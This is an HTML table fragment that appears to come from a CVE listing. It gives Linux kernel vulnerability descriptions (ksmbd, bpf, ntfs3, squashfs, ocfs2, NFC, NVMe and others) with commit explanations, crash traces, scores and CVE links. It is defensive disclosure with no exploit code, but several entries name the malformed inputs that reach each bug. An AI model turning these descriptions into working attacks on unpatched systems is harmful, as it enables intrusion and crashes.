&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix slab-out-of-bounds read in ksmbd_alloc_user() ksmbd_alloc_user() copies resp-&amp;gt;hash_sz bytes out of the mountd IPC login response with user-&amp;gt;passkey_sz = resp-&amp;gt;hash_sz; user-&amp;gt;passkey = kmalloc(resp-&amp;gt;hash_sz, KSMBD_DEFAULT_GFP); if (user-&amp;gt;passkey) memcpy(user-&amp;gt;passkey, resp-&amp;gt;hash, resp-&amp;gt;hash_sz); resp-&amp;gt;hash_sz is a __u16 supplied by the response, but resp-&amp;gt;hash[] is only KSMBD_REQ_MAX_HASH_SZ bytes. A malformed or malicious login response can set hash_sz well beyond that (up to 65535), so the memcpy() reads past the end of the response object. ipc_validate_msg() does not bound hash_sz, so reject any response whose hash_sz exceeds the on-stack hash[] buffer before allocating and copying. [ 2030.238706] BUG: KASAN: slab-out-of-bounds in ksmbd_alloc_user+0x278/0x680 [ 2030.240549] Read of size 65535 at addr ffff888121bb6680 by task kworker/4:1/18611 [ 2030.242296] [ 2030.242710] CPU: 4 UID: 0 PID: 18611 Comm: kworker/4:1 Not tainted 7.1.0-next-20260623-virtme #96 PREEMPT(lazy) [ 2030.242732] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014 [ 2030.242743] Workqueue: ksmbd-io handle_ksmbd_work [ 2030.242763] Call Trace: [ 2030.242769] &amp;lt;TASK&amp;gt; [ 2030.242776] dump_stack_lvl+0xa2/0xd0 [ 2030.242794] print_address_description+0x77/0x200 [ 2030.242815] ? ksmbd_alloc_user+0x278/0x680 [ 2030.242831] print_report+0x58/0x70 [ 2030.242848] kasan_report+0x117/0x150 [ 2030.242869] ? ksmbd_alloc_user+0x278/0x680 [ 2030.242888] kasan_check_range+0x3c7/0x3f0 [ 2030.242908] ? ksmbd_alloc_user+0x278/0x680 [ 2030.242925] __asan_memcpy+0x29/0x70 [ 2030.242942] ksmbd_alloc_user+0x278/0x680 [ 2030.242960] ksmbd_login_user+0xc3/0x120 [ 2030.242978] ntlm_authenticate+0x5e6/0x1b00 [ 2030.243017] ? __pfx_ntlm_authenticate+0x10/0x10 [ 2030.243035] ? ksmbd_session_lookup+0x188/0x1d0 [ 2030.243054] ? __pfx_ksmbd_session_lookup+0x10/0x10 [ 2030.243090] ? __sanitizer_cov_trace_switch+0x7b/0x140 [ 2030.243108] smb2_sess_setup+0x1e4a/0x27b0 [ 2030.243126] ? copy_from_kernel_nofault+0x199/0x300 [ 2030.243156] ? __pfx_smb2_sess_setup+0x10/0x10 [ 2030.243173] ? get_smb2_cmd_val+0xe3/0x1c0 [ 2030.243208] handle_ksmbd_work+0x954/0x1280 [ 2030.243230] ? __pfx_handle_ksmbd_work+0x10/0x10 [ 2030.243249] ? process_scheduled_works+0xa07/0x1490 [ 2030.243270] ? process_scheduled_works+0xa07/0x1490 [ 2030.243291] process_scheduled_works+0xa70/0x1490 [ 2030.243320] ? __pfx_process_scheduled_works+0x10/0x10 [ 2030.243340] ? do_raw_spin_lock+0x130/0x300 [ 2030.243358] ? lock_is_held_type+0x7b/0x110 [ 2030.243388] worker_thread+0x932/0xe20 [ 2030.243415] kthread+0x38a/0x470 [ 2030.243431] ? __pfx_worker_thread+0x10/0x10 [ 2030.243451] ? __pfx_kthread+0x10/0x10 [ 2030.243467] ret_from_fork+0x484/0x910 [ 2030.243485] ? __pfx_ret_from_fork+0x10/0x10 [ 2030.243501] ? __switch_to+0xc77/0x12c0 [ 2030.243523] ? __pfx_kthread+0x10/0x10 [ 2030.243540] ret_from_fork_asm+0x1a/0x30 [ 2030.243564] &amp;lt;/TASK&amp;gt; [ 2030.243570] [ 2030.290164] Allocated by task 19279: [ 2030.290911] kasan_save_track+0x3e/0x80 [ 2030.292179] __kasan_kmalloc+0x72/0x90 [ 2030.293217] __kvmalloc_node_noprof+0x3ff/0x6b0 [ 2030.294467] handle_generic_event+0x59b/0x750 [ 2030.295345] genl_family_rcv_msg_doit+0x238/0x340 [ 2030.296553] genl_rcv_msg+0x606/0x7b0 [ 2030.297129] netlink_rcv_skb+0x22b/0x4a0 [ 2030.298500] genl_rcv+0x2d/0x40 [ 2030.299273] netlink_unicast+0x7ba/0x930 [ 2030.300019] netlink_sendmsg+0x8c3/0xb00 [ 2030.301073] __sock_sendmsg+0xec/0x140 [ 2030.301579] __sys_sendto+0x357/0x470 [ 2030.302255] __x64_sys_sendto+0xe3/0x100 [ 2030.303425] do_syscall_64+0x135/0x460 [ 2030.304763] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 2030.305594] [ 2030.305819] The buggy address belongs to the object at ffff888121bb6640 [ 2030.305819] which belongs to the cache kmalloc-192 of size 192 [ 2030.309595] The buggy address ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90174&quot; target=&quot;_blank&quot;&gt;CVE-2026-90174&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Check pointer type for all atomic RMW paths Atomic RMW verification records an instruction pointer type only when the current destination is PTR_TO_ARENA. A second path can therefore reach the same instruction with an ordinary pointer without comparing it against the saved arena type. The post-verification fixup uses the saved type to rewrite the instruction to BPF_PROBE_ATOMIC for every path. Record the actual destination type for all atomic RMW paths so the existing mismatch check rejects incompatible uses of one instruction.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90177&quot; target=&quot;_blank&quot;&gt;CVE-2026-90177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: reject out-of-range evcn in mi_enum_attr() In mi_enum_attr(), the start/end VCN validation for non-resident attributes is: if (svcn &amp;gt; evcn + 1) goto out; When evcn is U64_MAX the &quot;evcn + 1&quot; expression wraps to 0 and any svcn passes the check. For evcn values close to U64_MAX (but not equal to it) the right-hand side is still a meaningless near-wrap upper bound, so a malformed on-disk attribute with svcn == 0 and evcn near U64_MAX can pass mi_enum_attr() unrejected. VCN (virtual cluster number) is a cluster index, so any valid evcn is bounded by the volume&#039;s total cluster count, which ntfs3 holds in sbi-&amp;gt;used.bitmap.nbits (set up in ntfs_init_from_boot() before any caller of mi_enum_attr() runs). Reject evcn values that fall outside this range. However, an empty non-resident attribute (no allocated clusters) is legitimately encoded with svcn == 0 and evcn == -1 (U64_MAX), e.g. via attr-&amp;gt;nres.evcn = cpu_to_le64((u64)vcn - 1) with vcn == 0. That sentinel must keep passing, so exclude evcn == U64_MAX from the range check. The existing &quot;svcn &amp;gt; evcn + 1&quot; test still tolerates the sentinel (&quot;0 &amp;gt; 0&quot; is false) and continues to require svcn == 0 for it, while the range check rejects every other out-of-range evcn and thereby also defuses the &quot;evcn + 1&quot; wraparound. svcn does not need its own bound: once evcn &amp;lt; nbits, &quot;svcn &amp;gt; evcn + 1&quot; implies svcn &amp;lt;= nbits. [almaz.alexandrovich@paragon-software.com: fixed evcn check]&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90199&quot; target=&quot;_blank&quot;&gt;CVE-2026-90199&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Squashfs: check block offset is not negative If a negative offset is read off disk (for example the offset into the decompressed fragment block), this will cause squashfs_copy_data() to perform an out of bounds access. Fix by checking if offset is negative, and returning 0. This matches existing behaviour where an offset beyond the block returns 0 bytes copied. To trigger this out of bounds access requires a crafted Squashfs filesystem and CAP_SYS_ADMIN to mount it. Unprivileged users will not be able to mount such a filesystem, but once mounted, an unprivileged user can trigger the out of bounds access by reading the crafted file with the negative offset.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90203&quot; target=&quot;_blank&quot;&gt;CVE-2026-90203&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2: validate DIO orphan slot during inode read [BUG] A corrupted append-DIO dinode (high byte at offset 0xa1 corrupted from 0 to 1) can carry an i_dio_orphaned_slot outside the mounted filesystem slot range and trigger a use-after-free error: BUG: KASAN: slab-use-after-free in ocfs2_get_system_file_inode+0x780/0x820 fs/ocfs2/sysfile.c:102 Read of size 8 at addr ffff88800b767c00 by task kworker/u8:3/85 Call Trace: ... ocfs2_get_system_file_inode+0x780/0x820 fs/ocfs2/sysfile.c:102 ocfs2_wipe_inode+0x292/0xf70 fs/ocfs2/inode.c:840 ocfs2_delete_inode fs/ocfs2/inode.c:1155 [inline] ocfs2_evict_inode+0x6c9/0x1170 fs/ocfs2/inode.c:1295 evict+0x38e/0x8f0 fs/inode.c:810 iput_final fs/inode.c:1914 [inline] iput fs/inode.c:1966 [inline] iput+0x55b/0x8b0 fs/inode.c:1926 ocfs2_recover_orphans+0x610/0xe40 fs/ocfs2/journal.c:2374 ocfs2_complete_recovery+0x5af/0xd00 fs/ocfs2/journal.c:1373 ... [CAUSE] ocfs2_del_inode_from_orphan() uses i_dio_orphaned_slot to index the slot-local system inode cache. The dinode validator does not check this active slot, so an out-of-range value produces an invalid cache entry pointer that is dereferenced as an inode pointer. [FIX] Reject an active i_dio_orphaned_slot outside the slot range during dinode validation, before DIO orphan recovery can consume it.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90204&quot; target=&quot;_blank&quot;&gt;CVE-2026-90204&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2: validate orphan slot during inode read Patch series &quot;ocfs2: validate active orphan slots during inode read&quot;. OCFS2 trusts active ordinary and append-DIO orphan slots read from dinodes. A corrupted slot can therefore index osb_orphan_wipes or the slot-local system-inode cache outside their allocations before the corruption is reported. Patch 1 validates the ordinary orphan slot used by inode wipe processing. Patch 2 validates the append-DIO orphan slot used by DIO completion and orphan recovery. Both checks reject corrupt metadata at the existing inode validation boundary. This patch (of 2): [BUG] A corrupted dinode with OCFS2_ORPHANED_FL can carry an i_orphaned_slot outside the mounted filesystem slot range. ocfs2_wipe_inode() uses it to index osb_orphan_wipes before looking up the orphan directory, causing an out-of-bounds memory access. BUG: KASAN: slab-use-after-free in ocfs2_get_system_file_inode+0x780/0x820 fs/ocfs2/sysfile.c:102 Read of size 8 at addr ffff88800b767c00 by task kworker/u8:3/85 Call Trace: ... ocfs2_get_system_file_inode+0x780/0x820 fs/ocfs2/sysfile.c:102 ocfs2_wipe_inode+0x292/0xf70 fs/ocfs2/inode.c:840 ocfs2_delete_inode fs/ocfs2/inode.c:1155 [inline] ocfs2_evict_inode+0x6c9/0x1170 fs/ocfs2/inode.c:1295 evict+0x38e/0x8f0 fs/inode.c:810 iput_final fs/inode.c:1914 [inline] iput fs/inode.c:1966 [inline] iput+0x55b/0x8b0 fs/inode.c:1926 ocfs2_recover_orphans+0x610/0xe40 fs/ocfs2/journal.c:2374 ocfs2_complete_recovery+0x5af/0xd00 fs/ocfs2/journal.c:1373 ... [CAUSE] ocfs2_validate_inode_block() validates i_suballoc_slot but leaves the active ordinary orphan slot unchecked. Downstream consumers assume that the value is smaller than osb-&amp;gt;max_slots. [FIX] Reject an active i_orphaned_slot outside the slot range during dinode validation, before the inode reaches orphan wipe processing.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90205&quot; target=&quot;_blank&quot;&gt;CVE-2026-90205&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: seq: midi: Serialize input teardown with event_input snd_midi_input_event() must not be running while a rawmidi substream is closing, since this can lead to the trigger state becoming out-of-step through this sequence in snd_rawmidi_input_trigger(): snd_rawmidi_input_trigger(up=0) snd_midi_input_event() -&amp;gt; snd_rawmidi_kernel_read() -&amp;gt; snd_rawmidi_input_trigger(up=1) -&amp;gt; cancel_work_sync() which ends with the underlying device being active unexpectedly. When this is called from close_substream(), further input can re-trigger the input event leaving it running after rawmidi_release_priv() has set rfile-&amp;gt;rmidi to NULL which leads to: Unable to handle kernel NULL pointer dereference at virtual address 00000000000000b0 Call trace: snd_midi_input_event+0x3c/0x134 [snd_seq_midi] (P) snd_rawmidi_input_event_work+0x1c/0x2c process_one_work+0x150/0x3a4 worker_thread+0x190/0x318 Apply a similar approach to commit ef7607ab1c8ad (&quot;ALSA: seq: midi: Serialize output teardown with event_input&quot;) which fixed the same issue in the output direction, but updated to use RCU following Takashi Iwai&#039;s proposed follow-on patch [1]. With this change in place, midisynth_unsubscribe() clears the input file so snd_midi_input_event() will not re-trigger the stream and will be quiesced by the cancel_work_sync() in snd_rawmidi_input_trigger(). [1] https://lore.kernel.org/linux-sound/20260813144224.753399-1-tiwai@suse.de/&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90207&quot; target=&quot;_blank&quot;&gt;CVE-2026-90207&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix UAF in bpf_trampoline_multi_attach_free on update failure When bpf_trampoline_update() fails before modify_fentry_multi()/ unregister_fentry_multi() is called, cur_image is unchanged (cur_image == old_image) and ftrace still calls into it. Freeing old_image in that case causes a UAF. Only free old_image when it differs from cur_image.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90210&quot; target=&quot;_blank&quot;&gt;CVE-2026-90210&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Compare iterator types during state pruning An iterator stack slot can be MEM_RCU or PTR_UNTRUSTED. These states must not be equal, or the verifier can prune an unsafe path. Compare the pointer type for STACK_ITER slots.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90217&quot; target=&quot;_blank&quot;&gt;CVE-2026-90217&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfc: llcp: bound SNL TLV parsing to the skb and add length checks nfc_llcp_recv_snl() walked the SNL TLV list using a u16 offset/length pair derived from skb-&amp;gt;len, without bounding reads to the actual skb data. Three problems followed: - For a short frame (skb-&amp;gt;len &amp;lt; LLCP_HEADER_SIZE), tlv_len underflowed. - The per-TLV header (type, length) was read without checking that two bytes remained. - A declared TLV length could run past the end of the buffer, and an SDREQ with length == 0 made &quot;service_name_len = length - 1&quot; underflow (size_t), driving an out-of-bounds read in the following strncmp() / nfc_llcp_sock_from_sn(). The SDRES case likewise read tlv[2]/tlv[3] without a length check. A nearby NFC device can reach this without authentication; LLCP link activation happens automatically after NFC-DEP. Walk the TLV list by pointer, bounded by skb_tail_pointer() over the linear skb data, and validate each TLV declared length before use. Add explicit length checks for SDREQ (&amp;gt;= 1) and SDRES (exactly 2). Found by 0sec automated security-research tooling (https://0sec.ai).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90223&quot; target=&quot;_blank&quot;&gt;CVE-2026-90223&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfc: nci: fix double completion race in nci_data_exchange_complete nci_close_device() and nci_rx_work can both call nci_data_exchange_complete() concurrently. After commit 4527025d440ce8 (&quot;nfc: nci: fix circular locking dependency in nci_close_device&quot;) moved flush_workqueue(ndev-&amp;gt;rx_wq) after mutex_unlock(&amp;amp;ndev-&amp;gt;req_lock), rx_work is no longer serialized with the explicit completion call in the close path. Both callers read the non-NULL callback pointer and invoke rawsock_data_exchange_complete(), which calls sock_put() -- but only one sock_hold() was taken, so the second sock_put() underflows the refcount and frees the socket while it is still in use. Replace the bare clear_bit(NCI_DATA_EXCHANGE) with test_and_clear_bit() so that only the first caller proceeds to invoke the callback.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90224&quot; target=&quot;_blank&quot;&gt;CVE-2026-90224&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfc: llcp: read llcp_sock-&amp;gt;local under the socket lock in getsockopt nfc_llcp_getsockopt() read llcp_sock-&amp;gt;local before lock_sock(sk) and then dereferenced the cached pointer inside the locked region. llcp_sock_bind() assigns and clears llcp_sock-&amp;gt;local under the same socket lock, dropping the last reference on its error path. A getsockopt() racing an in-flight bind() can observe the pointer, block on lock_sock(), and then dereference a freed nfc_llcp_local once bind() has unwound. Move the llcp_sock-&amp;gt;local read and the NULL check inside the lock_sock(sk) region so bind() cannot mutate or free the pointer between the load and the use.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90225&quot; target=&quot;_blank&quot;&gt;CVE-2026-90225&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme/ioctl: check SUBMIT_IO with nvme_cmd_allowed() Unlike IO_CMD / IO64_CMD, NVME_IOCTL_SUBMIT_IO never calls nvme_cmd_allowed(). Unprivileged callers can thus issue I/O on a partition device or write through a read-only file descriptor. Pass flags and open_for_write through and reject disallowed commands with -EACCES.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90227&quot; target=&quot;_blank&quot;&gt;CVE-2026-90227&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvmet: fix NULL pointer dereference in nvmet_execute_identify_ns_zns() When a host issues an Identify command with CNS 05h (I/O Command Set specific Identify Namespace) and CSI 02h (ZNS) targeting a file-backed namespace, nvmet_execute_identify_ns_zns() calls bdev_is_zoned() on req-&amp;gt;ns-&amp;gt;bdev. A file-backed namespace has no block device, so req-&amp;gt;ns-&amp;gt;bdev is NULL and bdev_is_zoned() dereferences it, oopsing. The I/O command set is selected by the host-supplied CSI field and the command is routed here whenever CONFIG_BLK_DEV_ZONED is enabled, independent of the namespace backing type, so any file-backed namespace is exposed. Reject the command with Invalid Field when the namespace is not backed by a block device.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90228&quot; target=&quot;_blank&quot;&gt;CVE-2026-90228&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme-apple: Destroy the admin queue on removal The admin queue is allocated with blk_mq_alloc_queue() but never destroyed. nvme_free_ctrl() only drops the last reference and blk_mq_exit_queue() and blk_sync_queue() never run: the hctx is never moved to q-&amp;gt;unused_hctx_list and the timeout timer and work stay armed on a queue that is about to be freed which will eventually oops inside blk_mq_timeout_work(). This can only be triggered when the controller fails to come up and is then immediately torn down again which is why no one ever ran into this before. Let&#039;s just copy what the pcie driver does: unquiesce and destroy the admin queue before nvme_uninit_ctrl(). With this the following WARN followed by a panic no longer happens: WARNING: block/blk-mq.c:4390 at blk_mq_release+0x194/0x238, CPU#4: kworker/u34:4/119 CPU: 4 UID: 0 PID: 119 Comm: kworker/u34:4 Not tainted 7.2.0-rc1-dirty #248 PREEMPT Hardware name: Apple Mac mini (M1, 2020) (DT) Workqueue: nvme-wq apple_nvme_remove_dead_ctrl_work pstate: 61400005 (nZCv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--) pc : blk_mq_release+0x194/0x238 lr : blk_mq_release+0x58/0x238 sp : ffffc000833a3b50 x29: ffffc000833a3b50 x28: ffff80001d0450f8 x27: ffff800020c95200 x26: 0000000000000088 x25: 0000000000000000 x24: ffff800020f36805 x23: 0000000000000000 x22: ffffc00081a86878 x21: ffff800020be9c60 x20: 0000000000000000 x19: ffff800022501698 x18: 000000000000000a x17: 7365757165722066 x16: 666f7265776f7020 x15: 0000000000000000 x14: 0000000000000028 x13: 0000000000004def x12: 0000000000000003 x11: 0000000000000000 x10: 0000000000000000 x9 : ffffc000805b4fc8 x8 : ffffc00081915820 x7 : ffffc00081c4f3c8 x6 : 0000000000000001 x5 : 0000000000000004 x4 : ffff800022498d80 x3 : ffffc000833a3b14 x2 : 0000000000000000 x1 : 0000000000000000 x0 : ffff800022501698 Call trace: blk_mq_release+0x194/0x238 (P) blk_put_queue+0x8c/0xf0 nvme_free_ctrl+0x4c/0x260 device_release+0x44/0x128 kobject_put+0xa0/0x120 put_device+0x1c/0x40 nvme_uninit_ctrl+0x48/0x60 apple_nvme_remove+0x54/0xb0 platform_remove+0x28/0x40 device_remove+0x54/0x98 device_release_driver_internal+ device_release_driver+0x20/0x38 apple_nvme_remove_dead_ctrl_wor process_one_work+0x1f4/0x770 worker_thread+0x1b8/0x360 kthread+0x140/0x160 ret_from_fork+0x10/0x20 irq event stamp: 448 hardirqs last enabled at (447):in_unlock_irqrestore+0x74/0x80 hardirqs last disabled at (448): [&amp;lt;ffffc000811cf5c0&amp;gt;] el1_brk64+0x20/0x60 softirqs last enabled at (0): [ess+0xb28/0x2698 softirqs last disabled at (0): [&amp;lt;0000000000000000&amp;gt;] 0x0 ---[ end trace 0000000000000000 Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000 Mem abort info: ESR = 0x0000000096000005 EC = 0x25: DABT (current EL), SET = 0, FnV = 0 EA = 0, S1PTW = 0 FSC = 0x05: level 1 translation fault Data abort info: ISV = 0, ISS = 0x00000005, ISS2 = 0x00000000 CM = 0, WnR = 0, TnD = 0, TagA GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0 [0000000000000000] user address Internal error: Oops: 0000000096000005 [#1] SMP CPU: 7 UID: 0 PID: 54 Comm: kwor 7.2.0-rc1-dirty #248PREEMPT Tainted: [W]=WARN Hardware name: Apple Mac mini (M1, 2020) (DT) Workqueue: kblockd blk_mq_timeou pstate: 01400005 (nzcv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--) pc : percpu_ref_tryget_many.cons lr : percpu_ref_tryget_many.constprop.0+0xc0/0x168 sp : ffffc000829cbce0 x29: ffffc000829cbce0 x28: ffff800020be9f48 x27: ffff800013e503c0 x26: 0000000000000108 x25: 000009c05 x23: 0000000000000000 x22: ffffc000819f5000 x21: ffff800020be9f48 x20: ffff8001deda4808 x19: ffff8000a x17: 00000000580e1fac x16: ffffc00082bbbb7c x15: 0000000000000000 x14: 0000000000000028 x13: 000000001 x11: 0000000000000000 x10: 0000000000000000 x9 : ffffc000829cbc20 x8 : ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90229&quot; target=&quot;_blank&quot;&gt;CVE-2026-90229&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFS: Return a delegation the client fails to record When an NFS server grants a delegation in an OPEN reply, nfs_inode_set_delegation() records it on the client. However, three of its error flows return without sending DELEGRETURN. A delegation can be relinquished only by DELEGRETURN (RFC 8881 Section 20.2.4), so dropping one silently leaves the server believing the client still holds it. If the server happens to recall that delegation, the client answers CB_RECALL with NFS4ERR_BADHANDLE because it has no record of the stateid. The server revokes the delegation and moves it onto its cl_revoked list, because the client never sends the FREE_STATEID that would drain it. Every subsequent SEQUENCE reply then carries SEQ4_STATUS_RECALLABLE_STATE_REVOKED, and the client&#039;s state manager loops issuing TEST_STATEID across its delegations without ever clearing the condition. The window is easy to reach now that a server offers a write delegation on any write OPEN: a delegation recalled for one opener races a re-open that the server answers with a fresh write delegation. Instead of dropping it, hand the delegation back during these error flows.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90234&quot; target=&quot;_blank&quot;&gt;CVE-2026-90234&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_ct: move custom expectation support to helper Originally, the ct expectation support called nf_ct_helper_ext_add() for confirmed conntracks, which is invalid, triggering a splat. This was fixed by commit 1710eb913bdc (&quot;netfilter: nft_ct: skip expectations for confirmed conntrack&quot;) which restricted it to unconfirmed conntracks. However, early insertion of expectations into the expectations list when the conntrack is unconfirmed leads to stale entries pointing to the wrong hlist_head through .pprev due to ct extension reallocation. Commit 7c9664351980 (&quot;netfilter: move nat hlist_head to nf_conn&quot;) moved the nat hlist_head to nf_conn for this reason: 1. ... 2. When reallocation of extension area occurs we need to fixup the bysource hash head via hlist_replace_rcu. I&#039;d rather not increase the size of the struct nf_conn for this feature has very limited scope: only one expectation can be created at a time given expect_clash() will make nf_ct_expect_related() reports EBUSY. For this reason, relax nf_ct_expect_related() not to drop packets in case expectation creation fails, therefore, expectation creation becomes best effort. To address this issue, add an internal ct helper and attach it to the conntrack entry to streamline the custom ct expectation support with existing ct helpers. Expose a new nf_conntrack_helper_release() function to release the internal helper that is allocated and attached to the conntrack entry to create the custom expectations. The nft_ct module removal always waits for rcu grace period, then the NULL helper callback is observed after this. This patch also restricts the creation of expectations to different helpers other than this custom helper that is created for this type of expectations.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90237&quot; target=&quot;_blank&quot;&gt;CVE-2026-90237&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
